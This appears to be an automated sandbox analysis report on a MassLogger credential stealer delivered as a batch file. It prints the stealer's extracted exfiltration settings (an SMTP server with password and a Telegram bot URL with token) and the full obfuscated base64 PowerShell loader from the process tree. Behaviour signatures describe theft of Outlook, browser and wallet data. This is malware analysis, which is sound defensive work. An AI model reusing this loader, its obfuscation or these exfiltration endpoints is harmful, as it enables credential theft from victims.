Analysis
- max time kernel
101s - max time network
114s - platform
windows11-21h2_x64 - resource
win11-20250619-en - resource tags
- submitted
15/09/2025, 16:31
General
- Target rPO120800.bat
- Size 157KB
- Sample250915-t1b2ca1ls3
- SHA256 044d63ab7ef7390e0db6d6809165edaefc81b164e32ccb8f6bc522a746254f3f
Malware Config
Extracted
-
Protocol
smtp
-
Host
mail.borderstonesinc.com
-
Port
587
-
Username
-
Password
~kwsj!QVNc(Z
Extracted
-
masslogger
-
https://api.telegram.org/bot8013697665:AAEaMzK6uhX2nleUdM5_It7J4cyOvNu7W2k/sendMessage?chat_id=8175782960
-
exfiltration_mode
#SMTPEnabled
-
expire_time_date
2025-07-31
-
host_password
~kwsj!QVNc(Z
-
host_port
587
- host_receiver
- host_sender
-
host_server
mail.borderstonesinc.com
-
ssl_slate
True
Signatures
- MassLogger
Masslogger is a .NET stealer targeting passwords from browsers, email and cryptocurrency clients.
- Masslogger family
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Drops startup file 2 IoCs
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 7 IoCs
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rPO120800.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.execmd /c start "" /min "C:\Users\Admin\AppData\Local\Temp\rPO120800.bat"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\rPO120800.bat"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe""C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"" -nop -w h -c ""iex([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String(('CgAkAGYAPQAiAEMqczuaAOgBcAFUAcwBlAHqczuaIAcwBcACQAZQBuAqczuaHYAOgBVAFMARQBSqczuaAE4AQQBNAEUAXABqczuahAG8AYwAuAGIAYQqczuaB0ACIACgBpAGYAKqczuaABUAGUAcwB0AC0AqczuaUABhAHQAaAAgACQqczuaAZgApAHsACgAgACqczuaAAIAAgAGcAYwAgAqczuaCQAZgB8AD8AewAkqczuaAF8AIAAtAG0AYQBqczua0AGMAaAAgACcAXgqczuaA6ADoAOgAgAD8AKqczuaAAuACsAKQAkACcAqczuafQB8ACUAewB0AHIqczuaAeQB7AGkAZQB4ACqczuagAWwBUAGUAeAB0AqczuaC4ARQBuAGMAbwBkqczuaAGkAbgBnAF0AOgAqczua6AFUAbgBpAGMAbwqczuaBkAGUALgBHAGUAdqczuaABTAHQAcgBpAG4AqczuaZwAoAFsAQwBvAG4qczuaAdgBlAHIAdABdADqczuaoAOgBGAHIAbwBtAqczuaEIAYQBzAGUANgA0qczuaAFMAdAByAGkAbgBqczuanACgAJABNAGEAdAqczuaBjAGgAZQBzAFsAMqczuaQBdACkAKQApAH0AqczuaYwBhAHQAYwBoAHsqczuaAfQB9AAoAIAAgACqczuaAAIABTAHQAYQByAqczuaHQALQBTAGwAZQBlqczuaAHAAIAAtAE0AaQBqczuasAGwAaQBzAGUAYwqczuaBvAG4AZABzACAAMqczuaQAwADAACgB9AAoAqczuaJABiAD0AJwBIADQqczuaAcwBJAEEAQQBBAEqczuaEAQQBBAEEARQBBAqczuaEoAVgBVAGEAMgAvqczuaAGEATQBCAFQAOQBqczuaLADEAYQBWAGkAVwqczuaBSAGkAVgB0AHQAdqczuaABYAFEAdgBLAEIAqczuaNQByAEMAeABDAGkqczuaAMABBADkAcABLAHqczuaAAVwBnAHkAeQBhAqczuaFUAeABKAEgAWgBxqczuaAE8ANABFAHcAOQBqczuaiAC8AUABlAGYAQQqczuaBvAHIAZABZAHQASqczuaAA2AEwAawArAHAAqczuaeAB6AHIAOAArADkqczuaAdABpAEUAOQBtAGqczuakAYgBJAFIAZwBhAqczuaHcAcABIAFkAegBhqczuaAFAAWgA3AGoAVwAqczua2AHoAYgBzAFMAZQqczuaA4AGwATQBkAFAAbqczuagBCAHEARAB6AGMAqczuaUwBoAEgAdwB3AGMqczuaAdQBRAEQANABTADqczuaYAZQBFAEgAVgBRAqczuaG4AOABiAE0AVgBaqczuaAFEAegA5AEIAUQBqczua0AGYAZABPAEkAaQqczuaBDAEQAaAByADQAUqczuaQBJADYAegBmAFMAqczuaagAwAEYAQQBaAG4qczuaALwAyAGEASgBCAEqczuasAQgBTAEUAZQBnAqczuaEIAcwBMAHEAbABMqczuaAHMAaQBEAFIAUwAqczuavAEYARwBRAHkARQqczuaA5AHgAQQArAFMANqczuaABWAG4ATQBFAEUAqczuaQQBXAG0AVgBkADkqczuaAbAA0AGkANwAzADqczuaQAQgAyADYAUQB5AqczuaE0AZgBSAEEAYgBNqczuaAFYATQA2AGQAbABqczua3AEwAWAB4AFAATQqczuaBvAGUAMwB4AEgAbqczuawAwAFMAVgBJAHQAqczuaYwBkAFoALwBEAHQqczuaAcABVAHcASAAwAGqczua8AMgBFAHcAMQBrAqczuaEMAUQBtAGwAZwBTqczuaAC8ARAB3AG4ARQBqczuanADQAKwBUAEoAUQqczuaBRAHYAUABOAFMAbqczuaABkAGQAMABmAG4AqczuaMABKAE8ANAB0ADEqczuaATgBOAHQAdAB6AFqczuaAAOAAyAGYAWAB1AqczuaDMAYQBPADcAMgA5qczuaAGIASgAvAEgANwBqczuawAEwAeAB6AFcANgqczuaBKACsAZABQAHIAVqczuawBXADcAZwA5AHAAqczuaVgAvAGIAMgAyAHIqczuaANwA5AHAAeABUAHqczuaQAVgB1AE0AcgBIAqczuaC8AWQA2AHAAOQAzqczuaAGoAMAA4ADUAUQBqczuaSAHUAcgBPADYAWgqczuaA4ADEANwBJADIAYqczuawBCADIANgArAE4AqczuaWgBGAGIAdgAxAEUqczuaAdgAvAEwAMQBZAEqczuawANgA2AE4ARgBxAqczuaEIAaQB3AFEAcgBvqczuaAEMAeQBZAGUAQwBqczuazAEwAawBsAEkAdQqczuaB3AFIAUgBrAEoAeqczuagBnAFAAdQB6AG4AqczuaYwA2AFgARQBXAEgqczuaAVgBiAFQAOQB4AFqczuaoAZgBBAEgAcABYAqczuaC8AVgBnAG4ANABnqczuaAHMAcQBJAHkAMQBqczualAHQAMwBRAHQAdgqczuaBDADYAawAvAGIAOqczuaABZAHEAUwBtAE8AqczuaYQB2AEoANgByAFEqczuaASgBGAFkAMgBqADqczuaEAWQBmAEwAcQBhAqczuaHoATQBCAFYAcQBMqczuaAFMAdABmAFkAVwAqczua3AEUASABLAFIAYQqczuaBxACsAQQBoAEcAWqczuagAxAGgAMQBsAGsAqczuaUwBRAFEAaABzAC8qczuaAZQBaADUAVABhAFqczuacAUQBOAFgAYgBZAqczuaEkAZQBIAGsAUQBBqczuaAHAAZABaAEgANAAqczuarAHoAMgBOAHkAbwqczuaBSAEYAWgBWAFUAMqczuaAAyAG8AUABzAGYAqczuaSgBjAHoAcABoAHQqczuaAUgB4AHEAeQBkAFqczuaoAQgBvAFkAcABVAqczuaE4AdQBGAG4AVwArqczuaAFcATgBtAHoASwAqczuawACsAMABIADgAeAqczuaBaAGIAdwBlAEgAdqczuagBDAEUARQBTAFgAqczuaVgB3ADYAKwA2AE0qczuaATABlAGwAdQBTADqczuaQAdgBQADQAeAAyAqczuaGoANQAyAEkAWgBiqczuaAFEAZQAvAEQAOQBqczuaNAEEAYwBpAHAAdQqczuaBTAEEAbgBoAEoARqczuaQBqADEAVABpADQAqczuaNQA4AGMAegBSAEoqczuaARgBVAHcARwBvADqczuakAZgBHAFQANgBoAqczuaGIASgBiAFkAaABSqczuaAEIAdQBNAGkAWABqczuaTAGEAMAA2AFoAMgqczuaBsAG4ARQBiAFoAYqczuagB3AE8AWgBnAEcAqczuaaQA0AE4AZwBQAFYqczuaATgBGAEUAZgBWAGqczua4AdwArAGQAUwA0AqczuaFoAcwAyADcAcABPqczuaAEYAZgB0ADkAUgAqczua1AHYASABGAGsASwqczuaBvAEEAcwB1AHMAcqczuaQB2ADYARABxAFIAqczuaaQBwAFcAcwBkAHAqczuaAVQBxAGEAMQB2ADqczuaAAUwBEAHoAdQBBAqczuaC8ARQBhAHcAVABCqczuaAEUASgBiAEsATABqczuaMAEEAVwBIAGsAUQqczuaBCAFYAZQBhAG8AeqczuaQBSAEkAcQBPAEEAqczuadQBCAFoAWQBkAE0qczuaAdAAvAGkAUwBNAHqczuaIARABxAGUAdAB5AqczuaEIAdQBEADQAeQBEqczuaAGIANgBTAHgARQBqczualAFUAbwBVAEwAZAqczuaBRAHIAawBoAGQATqczuaABwAGUAdwBnAE4AqczuaRgBoAEoASgAzAFYqczuaAUABsAG0AcABWAFqczuaoARABGAGMAdgBLAqczuaEEARABrAHEAMwA1qczuaAHMANwBZAGEAdQBqczuaWAHYAUQBiAEgARQqczuaAxAGsAYwAzADgAKqczuawBGAEwAOQBrAHoAqczuaMABiAG4AbQArAGQqczuaALwB6AHMAeQBGAGqczua4AWgBHADYAUABDAqczuaGwARABtAFkAMAA0qczuaAHYAcQA2ADAAOAAqczua2AEwATgB0AHgAQwqczuaBFAFYAaQBaADIAZqczuagBDAEcAUgBtADkAqczuaeQAwAHkAUgAzACsqczuaANQBKADMATABGADqczuaAAZQBIAFkAcwBqAqczuaFQAWABuAFUAWABMqczuaAC8ANgBVAGUANQBqczuakAFIAcwBSAGwAQwqczuaBSAEcAKwBVAGQASqczuawBpAE8AWgBJAGoAqczuaSwByADIANABxAFIqczuaAVwBmAG4AdwBVAGqczuaIAdABRAC8AdwBQAqczuaEMAQwBwAEEAZgBUqczuaAGcAWQBBAEEAQQAqczua9AD0AJwAKACQAYwqczuaA9AFsAQwBvAG4AdqczuagBlAHIAdABdADoAqczuaOgBGAHIAbwBtAEIqczuaAYQBzAGUANgA0AFqczuaMAdAByAGkAbgBnAqczuaCgAJABiACkACgAkqczuaAG0APQBOAGUAdwAqczuatAE8AYgBqAGUAYwqczuaB0ACAASQBPAC4ATqczuaQBlAG0AbwByAHkAqczuaUwB0AHIAZQBhAG0qczuaAKAAsACQAYwApAAqczuaoAJABnAD0ATgBlAqczuaHcALQBPAGIAagBlqczuaAGMAdAAgAEkATwAqczuauAEMAbwBtAHAAcgqczuaBlAHMAcwBpAG8AbqczuagAuAEcAWgBpAHAAqczuaUwB0AHIAZQBhAG0qczuaAKAAkAG0ALABbAEqczuakATwAuAEMAbwBtAqczuaHAAcgBlAHMAcwBpqczuaAG8AbgAuAEMAbwBqczuatAHAAcgBlAHMAcwqczuaBpAG8AbgBNAG8AZqczuaABlAF0AOgA6AEQAqczuaZQBjAG8AbQBwAHIqczuaAZQBzAHMAKQAKACqczuaQAcgA9AE4AZQB3AqczuaC0ATwBiAGoAZQBjqczuaAHQAIABJAE8ALgBqczuaTAHQAcgBlAGEAbQqczuaBSAGUAYQBkAGUAcqczuagAoACQAZwApAAoAqczuaJABzAD0AJAByAC4qczuaAUgBlAGEAZABUAGqczua8ARQBuAGQAKAApAqczuaAoAJAByAC4AQwBsqczuaAG8AcwBlACgAKQAqczua7ACQAZwAuAEMAbAqczuaBvAHMAZQAoACkAOqczuawAkAG0ALgBDAGwAqczuabwBzAGUAKAApAAoqczuaAaQBlAHgAIAAkAHqczuaMACgA='.Replace('qczua','')))))""4⤵
- Badlisted process makes network request
- Drops startup file
- Accesses Microsoft Outlook profiles
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
-
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
__PSScriptPolicyTest_chdvdp2a.1qp.ps1
aoc.bat
memory/124-29-0x0000000070B90000-0x0000000070BDC000-memory.dmp
memory/124-3-0x00000000026C0000-0x00000000026F6000-memory.dmp
memory/124-6-0x0000000004CE0000-0x0000000004D02000-memory.dmp
memory/124-7-0x0000000004D80000-0x0000000004DE6000-memory.dmp
memory/124-8-0x0000000004E60000-0x0000000004EC6000-memory.dmp
memory/124-4-0x0000000004890000-0x00000000048A0000-memory.dmp
memory/124-17-0x00000000055A0000-0x00000000058F7000-memory.dmp
memory/124-18-0x0000000005A90000-0x0000000005AAE000-memory.dmp
memory/124-19-0x0000000005B40000-0x0000000005B8C000-memory.dmp
memory/124-20-0x0000000007490000-0x0000000007B0A000-memory.dmp
memory/124-21-0x0000000005FF0000-0x000000000600A000-memory.dmp
memory/124-22-0x0000000006B50000-0x0000000006BE6000-memory.dmp
memory/124-23-0x0000000006A70000-0x0000000006A92000-memory.dmp
memory/124-24-0x0000000007B10000-0x00000000080B6000-memory.dmp
memory/124-30-0x0000000070D10000-0x0000000071067000-memory.dmp
memory/124-26-0x0000000006EB0000-0x0000000006F42000-memory.dmp
memory/124-27-0x000000007F910000-0x000000007F920000-memory.dmp
memory/124-28-0x00000000071F0000-0x0000000007224000-memory.dmp
memory/124-5-0x0000000004ED0000-0x00000000054FA000-memory.dmp
memory/124-2-0x0000000004890000-0x00000000048A0000-memory.dmp
memory/124-44-0x00000000073F0000-0x0000000007401000-memory.dmp
memory/124-41-0x0000000007230000-0x000000000724E000-memory.dmp
memory/124-39-0x0000000004890000-0x00000000048A0000-memory.dmp
memory/124-42-0x00000000072E0000-0x0000000007384000-memory.dmp
memory/124-43-0x00000000073E0000-0x00000000073EA000-memory.dmp
memory/124-40-0x0000000004890000-0x00000000048A0000-memory.dmp
memory/124-45-0x0000000007420000-0x0000000007428000-memory.dmp
memory/124-46-0x0000000007430000-0x0000000007440000-memory.dmp
memory/124-48-0x00000000080C0000-0x00000000080D8000-memory.dmp
memory/124-49-0x0000000008180000-0x000000000821C000-memory.dmp
memory/124-50-0x00000000082A0000-0x00000000082F0000-memory.dmp
memory/124-51-0x0000000004890000-0x00000000048A0000-memory.dmp
memory/124-52-0x0000000004890000-0x00000000048A0000-memory.dmp
memory/124-53-0x000000007F910000-0x000000007F920000-memory.dmp
memory/124-54-0x0000000008540000-0x0000000008702000-memory.dmp
memory/124-55-0x0000000004890000-0x00000000048A0000-memory.dmp
memory/124-56-0x0000000004890000-0x00000000048A0000-memory.dmp
memory/124-57-0x0000000004890000-0x00000000048A0000-memory.dmp
memory/124-58-0x0000000008460000-0x000000000846A000-memory.dmp
memory/124-60-0x0000000004890000-0x00000000048A0000-memory.dmp